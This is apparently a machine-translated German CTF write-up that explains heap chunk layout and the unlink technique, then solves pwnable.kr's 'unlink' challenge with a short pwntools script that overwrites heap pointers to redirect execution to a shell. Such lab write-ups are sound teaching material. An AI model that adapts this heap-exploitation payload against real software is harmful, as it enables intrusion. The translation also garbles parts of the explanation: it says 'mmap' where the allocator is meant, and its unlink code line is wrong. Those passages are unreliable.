In diesem Artikel werden wir uns mit der Sicherheitsanfälligkeit
bezüglich Pufferüberlauf im Heap befassen und auch die 19. Aufgabe von der Site
pwnable.kr lösen .
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Wie ein Haufen organisiert ist
Der Speicher kann belegt (zugewiesen) und frei sein. Die Abbildung zeigt den dynamischen Speicher.
- SSize - Die Größe des vorherigen Speicherblocks, sofern dieser frei ist.
- Größe - Die Größe des angegebenen Speicherblocks, zu dem 2 Statusbits hinzugefügt werden.
- Daten - Benutzerdaten.
- Fd ist ein Zeiger auf den nächsten freien Block.
- Bk - Zeiger auf den vorherigen freien Block.
- Freier Speicher.

Somit können keine zwei freien Blöcke Nachbarn sein. Außerdem befindet sich an der Grenze zwischen belegtem und freiem Systemspeicher ein speziell verarbeiteter freier W-Block.

Die Darstellung von Blöcken in Listen (Körben) ist wie folgt.

Die Methode zum Aufheben der Verknüpfung wird verwendet, um einen freien Block aus der Liste zu entfernen.
void unlink(S, BK, FD){ BK = S->bk; FD = S->fd; FD->bk=BK; FD->fd=FD; }
Zuweisung und Freigabe von Speicher
Mal sehen, wie mmap funktioniert. Im ersten Schritt werden die Arrays mit den erforderlichen Größen überprüft (z. B. 24 Byte). Wenn es einen erforderlichen Block gibt, wird dieser durch Aufheben der Verknüpfung getrennt.

Wenn dieser Block im zweiten Schritt groß genug ist, wird er in zwei Teile geteilt. Der erste Teil wird zugewiesen und der zweite Teil wird auf ein anderes Array verteilt.

Wenn im dritten Schritt der Block der erforderlichen Größe nicht zugewiesen wurde, wird der W-Block überprüft. Wenn er zufrieden ist, werden die Schritte zwei mit ihm gehalten. Wenn der W-Block klein war, werden sbrk () und mmap () verwendet, um den verfügbaren Speicher zu erweitern. Die Free-Methode ist der mmap völlig entgegengesetzt.
Heap-Pufferüberlauf
Ein Heap-Überlauf ist eine Art Pufferüberlauf, der im Heap-Datenbereich auftritt. Der Speicher auf dem Heap wird von der Anwendung zur Laufzeit dynamisch zugewiesen und enthält normalerweise Programmdaten. Die Ausnutzung erfolgt durch Beschädigung dieser Daten auf besondere Weise, sodass die Anwendung interne Strukturen überschreibt, z. B. Zeiger auf eine verknüpfte Liste. Die kanonische Heap-Überlaufmethode überschreibt die dynamische Speicherzuordnungsbeziehung (z. B. Malloc-Metadaten) und verwendet den Zeigertausch, um einen Zeiger auf eine Programmfunktion neu zu schreiben.
In der Funktion "Verknüpfung aufheben" können Sie beispielsweise mit FD-> bk den Wert eines beliebigen Wortes im Speicher ändern. Geben Sie beispielsweise den Shellcode ein, um die GOT-Adresse zu ändern. Ein Beispiel für einen Überlauf ist ein Beispiel.
Joblösung aufheben
Wir klicken auf das erste Symbol mit der Verknüpfung der Signatur und erfahren, dass wir über SSH eine Verbindung mit dem Kennwort "Gast" herstellen müssen.

Wenn verbunden, sehen wir das entsprechende Banner.

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Sehen wir uns den Quellcode an.

Wir haben also Objekt B mit den Objekten A und C verknüpft. Dann wird das Objekt A eingegeben und gefüllt. Wenn die Objekte A - B - C verbunden sind und die Füllung von A steuern, können wir den Heap überlaufen und die Objekte B und C neu schreiben. Wir müssen einen Weg finden, um die Sicherheitsanfälligkeit auszunutzen. Schauen wir uns gdb an.

So können Sie den Shellcode schreiben und die Absenderadresse von main in unseren Shellcode umschreiben. Die Absenderadresse fällt insb aus dem ecx-Register, wo sie von ebp-4 gespeist wird. Beim Zerlegen der Unlink-Funktion stellen wir fest, dass ebp-4 durch Benutzereingaben gesteuert werden kann.

Mal sehen, wie sich unsere Objekte im Speicher befinden und wie die Funktion zum Aufheben der Verknüpfung funktioniert. Jedes Objekt belegt 16 Byte im Speicher (4 für Zeiger und 8 für Puffer).

Die Speicherzuweisung für Objekte erfolgt in den Zeilen main + 38, main + 54 und main + 70. Vor jedem Aufruf erhöht sich der Stapelzeiger (esp) um 16 und verringert sich um 12, wonach 16 Bytes reserviert werden.


Das heißt, zwischen den Strukturen befinden sich 4 Bytes.

Als nächstes folgt das Verknüpfen und Verknüpfen von Objekten.


Daher müssen wir bei der Rückkehr von der Funktion die Adresse an den Speicherort Heap + 12 senden, der die Kontrolle an die Adresse überträgt, an der sich der Shellcode befindet.

from pwn import * s = ssh("unlink", "pwnable.kr", password="guest", port=2222) ex = s.process("./unlink") shell_address = p32(0x80484eb) ans = ex.recv().split("\n") stack_addr = p32(int(ans[0].split(" ")[5],16) + 16) heap_addr = p32(int(ans[1].split(" ")[5],16) + 12) payload = shell_address + "A"*12 + heap_addr + stack_addr ex.sendline(payload) ex.interactive()

Wir bekommen die Muschel, lesen die Flagge, bekommen 10 Punkte.

Sie können sich uns
per Telegramm anschließen . Das nächste Mal werden wir uns mit dem Heap-Überlauf befassen.